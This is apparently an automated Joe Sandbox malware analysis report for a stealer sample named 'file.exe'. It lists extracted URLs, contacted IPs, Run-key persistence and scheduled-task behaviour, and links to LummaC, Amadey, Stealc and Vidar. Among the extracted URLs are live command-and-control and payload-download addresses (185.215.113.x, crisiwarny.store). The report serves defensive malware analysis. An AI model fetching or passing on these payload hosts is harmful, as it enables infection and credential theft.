https://crisiwarny.store/R	e192e43b61.exe, 0000000D.00000002.3031046367.0000000001095000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 0000001D.00000002.2981878374.000001E76132B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/T	e192e43b61.exe, 0000000A.00000003.2898981302.0000000001187000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2678842277.000000000118F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/sqlite3.dlls	K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2862321283.000001E76293E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2863569523.000001E76295D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2992758898.000001E7637C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2983605466.000001E762670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2862321283.000001E76293E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 0000001D.00000002.2963529504.000001E75E53C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apig9x	file.exe, 00000000.00000003.1872949607.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2004445181.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.0000000001780000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store:443/apin.txtPK	e192e43b61.exe, 0000000B.00000002.3030925786.00000000013D4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-jscolor-mix(in	firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store:443/api2o4p.default-release/key4.dbPK	e192e43b61.exe, 0000000D.00000002.3031046367.0000000001095000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001D.00000003.2861629695.000001E762700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2869871266.000001E76297B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2863569523.000001E76295D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2983605466.000001E762670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2862321283.000001E76293E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180use	firefox.exe, 0000001D.00000002.2969240727.000001E75EFAF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/sets	firefox.exe, 0000001D.00000002.2963529504.000001E75E525000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/y	e192e43b61.exe, 0000000A.00000003.2658045895.0000000001190000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2639716464.000000000118F000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2678842277.000000000118F000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640641696.000000000118F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apis	file.exe, 00000000.00000003.1872949607.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2004445181.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800032678.0000000001782000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804018008.0000000001782000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/sqlite3.dllo	K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apit	e192e43b61.exe, 0000000D.00000003.2908880792.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2914261433.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2926644946.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2898977300.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/s	file.exe, 00000000.00000003.1873047117.000000000177B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2004277314.000000000177B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.000000000177B000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2898981302.0000000001187000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641920304.00000000057CF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2802402716.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2868740203.000000000113A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E5AE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/r	e192e43b61.exe, 0000000D.00000003.2908880792.0000000001123000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2898977300.0000000001123000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modu	firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881The	firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.yahoo.co.jp/compose/?To=%sScheme	firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/(	e192e43b61.exe, 0000000A.00000003.2658045895.0000000001190000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2678842277.000000000118F000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2824415712.000000000145E000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2824195548.000000000145B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	firefox.exe, 0000001D.00000002.2963529504.000001E75E525000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 0000001D.00000002.2981878374.000001E76132B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.widevine.com/aInstanceID	firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.widevine.com/	firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641920304.00000000057CF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2802402716.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2868740203.000000000113A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E5AE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001D.00000002.2966624376.000001E75EB7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206S	b0b9f39429.exe, 0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/	firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E532000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/?	file.exe, 00000000.00000003.1732244600.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/A	e192e43b61.exe, 0000000B.00000003.2824415712.000000000145E000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2824195548.000000000145B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/rdVPr	e192e43b61.exe, 0000000D.00000003.2883370297.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001D.00000002.2983794051.000001E7627A1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/steam/random.exeencoded	file.exe, 00000000.00000003.2004614587.0000000001751000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 0000001D.00000002.2974606521.000001E75FD45000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/G	e192e43b61.exe, 0000000B.00000003.2883813497.000000000145F000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/I	e192e43b61.exe, 0000000A.00000003.2606262886.000000000118F000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2623816326.0000000001193000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608822442.0000000001193000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2623503748.000000000118F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001D.00000002.2997276165.000001E763B0F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/B	e192e43b61.exe, 0000000D.00000003.2908880792.0000000001123000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2898977300.0000000001123000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-pixelresource://gre/modules/PrivateBrowsingUtils.sys.	firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/8bad2467092e6ddeb0dfa9e5ea54d86d26790ca7ba2ce88d1	firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store//	e192e43b61.exe, 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://crisiwarny.store/1	e192e43b61.exe, 0000000B.00000003.2824415712.000000000145E000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2824195548.000000000145B000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2936438339.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2004614587.0000000001751000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2897509232.00000000011A4000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000002.3032979304.0000000001104000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000002.3032599767.0000000001452000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse	unknown
https://crisiwarny.store/	e192e43b61.exe, 0000000D.00000003.2806047135.000000000111B000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.95.91	crisiwarny.store	United States	13335	CLOUDFLARENETUS	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542670
Start date and time:	2024-10-26 05:53:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@51/42@7/7
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.64, 20.190.159.73, 20.190.159.75, 20.190.159.4, 40.126.31.67, 20.190.159.0, 40.126.31.73, 20.190.159.68
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, location.services.mozilla.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target 6IF65DE3AL7UEH5E4W09DIZ.exe, PID 8004 because it is empty
Execution Graph export aborted for target K7IHXYTNUQJPI2M9UU0ECLE1K.exe, PID 5460 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7488 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8172 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:54:35	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
04:55:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e192e43b61.exe C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe
04:55:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e192e43b61.exe C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe
04:55:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b0b9f39429.exe C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe
04:55:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 5e28f62265.exe C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe
04:56:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001608001\num.exe
04:56:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b0b9f39429.exe C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe
04:56:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 5e28f62265.exe C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe
04:56:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001608001\num.exe
23:54:03	API Interceptor	590x Sleep call for process: file.exe modified
23:55:02	API Interceptor	521592x Sleep call for process: skotes.exe modified
23:55:15	API Interceptor	78x Sleep call for process: K7IHXYTNUQJPI2M9UU0ECLE1K.exe modified
23:55:28	API Interceptor	105x Sleep call for process: e192e43b61.exe modified
23:55:57	API Interceptor	61x Sleep call for process: num.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.170.64

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
